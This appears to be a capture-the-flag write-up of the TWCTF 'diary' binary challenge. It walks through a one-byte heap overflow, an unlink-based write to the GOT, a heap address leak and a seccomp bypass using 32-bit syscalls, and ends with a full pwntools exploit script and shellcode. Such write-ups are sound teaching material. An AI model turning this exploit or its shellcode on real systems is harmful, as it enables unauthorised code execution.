Solved by 4rbit3r
First of all, good job admins. Loved the questions and the whole game went without a hitch. Well done !
Now on to the binary. Diary is a 64 bit binary with the following protections enabled.
$ checksec diary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
Now lets get into the details.
Looking at the functions in the binary, we see some of interest like init_heap, unlink_freelist, init_seccomp etc.
In the init_heap , we see this code:
void *init_heap()
{
void *result; // rax@1result = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
mmaped_buf = result;
And then it goes on to set some global variables to the mmapped area. We can see here that the heap is created with the protections 7 which is read/write/execute. So possibility of return to shellcode here. But we’ll get to that later.
The objects
The binary creates an object which is something like below:
struct dates {
int date;
char *buffer;
dates *next;
dates *prev;
}
The pointers next and prev are set to an address in the bss if the next and/or previous objects do not exist.
Working
The binary maintains a linked list of the objects of the form as shown above. Each object is identified by the first 8 bytes which constitute the date it represents. Duplicate elements cannot be inserted into the linked list. The list is sorted according to the date.
Vuln
The vulnerability is fairly easy to spot in this case. It lies in the getnline function.
int getnline(void *buffer, int size){
unsigned int i; // [sp+18h] [bp-8h]@1
unsigned int n; // [sp+1Ch] [bp-4h]@1n = read(0, buffer, size + 1);
for ( i = 0; i < n; ++i ){
if ( *(buffer + i) == ‘\n’ ){
*(buffer + i) = 0;
return i;
}
}
return i;
}
As you can see, the read function’s third argument is size+1 which means that there is a single byte overflow. Now if we look at the free function, we can see that it implements the old vulnerable unlink method. So the method of exploit here is similar to the old unlink method except for a few variations.
Leak
So the next thing we need to be looking for is a memory leak. As we can see, in the structure definition objects contain pointers to the next and previous objects along with a pointer to the buffer. The size of the buffer chunk is under our control and the size of the structure object is 32. So my idea was to create two chunks of buffer size 32, delete both the objects, create one object of size 64. This means that the buffer of the newly created object would be able to stop just before the pointers stored in the previous second object. Although implementing this required us to create two extra objects so that the deleted object doesn’t get coalesced with the top chunk. So using this vuln we can leak out a pointer to the mmapped area.
Exploit
Now onto the exploit. The idea goes like this,
Use the single byte overflow in a buffer chunk to overwrite the size field of an object chunk. Make sure to set the PREV_INUSE bit of this object chunk so that we don’t need to bother about backward consolidation. The address of the next chunk is computed as follows.
next = ((*(ptr – 8) & 0xFFFFFFFFFFFFFFFELL) + ptr – 8);
Where ptr is the argument to free().
So if we set the size field correctly, the next pointer can be set to somewhere in the buffer chunk of that object. There we can create a fake chunk with its next and previous pointers set to locations we want. Here I decided to set these pointers to the GOT table and the address of another chunk which will contain shellcode.
So to wrap it up into one set of steps, here it goes.
- Create 4 entries of buffer sizes 32.
- Delete the 2nd and 3rd entries.
- Create another entry of buffer size 64.
- Print the last created object.
- This leaks out a pointer to the mmapped area.
- Now delete all the chunks created (Just felt like starting afresh)
- Create one object with buffer size of 32.
- Create another object with buffer size of 128.
- This buffer will contain the fake chunk.
- Create anther chunk of a large buffer size.
- This chunk will contain the shellcode.
- The size of the buffer chunk should be large enough so that it translates to a short jump instruction.
- Delete the first chunk.
- Create the first chunk again, this time with one extra byte in the buffer which will overwrite the size field of the the second object.
- Delete the second object.
So all this seems fine and I was happy to find that the control flow does go into my shellcode. But it didn’t matter which shellcode I used, I couldn’t land a shell. That is when I noticed the init_seccomp function. The binary runs in a sandbox which does not allow syscalls like execve and open. So that’s why this challenge contains 300 points. We need to bypass this filter.
The vulnerability in this filter is that it does not filter out 32 bit syscalls. So it is possible to use a 32 bit shellcode which can land a shell. All 64 bit binaries can execute int 0x80 instructions. However normal shellcodes push the string `/bin/sh` on to the stack and then move the value of esp into ebx in order to execute execve syscall. However, here the stack addresses are 64 bit and using a random 32 bit shellcode could result in a segfault.
So we need to write a custom shellcode which moves the string /bin/sh
onto a location that can be accessed by 32 bits and then use that address as argument. The challenge description says that we can use ./bash
so I wrote the shellcode to do that.
And well, that worked and it landed a shell, but strangely I couldn’t execute an ls
command in the shell. Running help
gave me the following output.
$ help
GNU bash, version 4.4.0(1)-rc2 (x86_64-unknown-linux-gnu)
These shell commands are defined internally. Type `help’ to see this list.
Type `help name’ to find out more about the function `name’.
Use `info bash’ to find out more about the shell in general.
Use `man -k’ or `info’ to find out more about commands not in this list.
And then a whole lot of commands and their syntax. And trying cat flag
or cat flag.txt
didn’t work. So we needed to print out the contents of the directory without using ls
. One way to do that would be echo *
which did list out the contents.
$ echo *
bash diary flagflag_oh_i_found
$
And then simply running cat flagflag_oh_i_found
didn’t really work. So we had to find another way to do that. So googling around, we found this method
$ read arr < flagflag_oh_i_found
$ echo $arr
TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}
$
And there you go.
Really nice challenge.
Flag: TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}
Here’s the exploit script.
from pwn import * def create(size,payload,date): p.sendlineafter(">> ","1") p.sendlineafter("... ",date) p.sendlineafter("... ",str(size)) p.sendafter(">> ",payload) def remove(date): p.sendlineafter(">> ","3") p.sendlineafter("... ",date) def leak(date,n): p.sendlineafter(">> ","2") p.sendlineafter("... ",date) p.recvline() p.recv(n) msg=p.recvline().strip("\n") context.bits=48 addr=unpack(msg)-0x140 print "Leaked start of page ",hex(addr) return addr p=remote("pwn1.chal.ctf.westerns.tokyo",13856) #p=process("diary") atoi=0x602080 # Leaking the start of the page create(32,"A"*8,"1970/1/2") create(32,"B"*8,"1970/1/3") create(32,"C"*8,"1970/1/4") create(32,"D"*8,"1970/1/5") remove("1970/1/4") remove("1970/1/3") create(64,"E"*40,"1970/1/3") addr=leak("1970/1/3",40) remove("1970/1/2") remove("1970/1/3") remove("1970/1/5") # Exploit create(32,"A"*8,"1970/1/1") payload=fit({40:p64(0x19)+p64(atoi-16)+p64(addr+0x128)+p64(0x18)+p64(0x39)},length=128,filler="A") create(128,payload,"1970/1/2") shellcode="\xb8\x0b\x00\x00\x00\xbb\xa8\x20\x60\x00\xc7\x03\x2e\x2f\x62\x61\xc7\x43\x04\x73\x68\x00\x00\x31\xc9\x31\xd2\x31\xff\x31\xf6\xcd\x80" create(3296,"\x90"*9+shellcode,"1970/1/3") remove("1970/1/1") create(32,"A"*32+"\x59","1970/1/1") remove("1970/1/2") p.recvuntil(">> ") p.sendline("") p.interactive()
Leave a Reply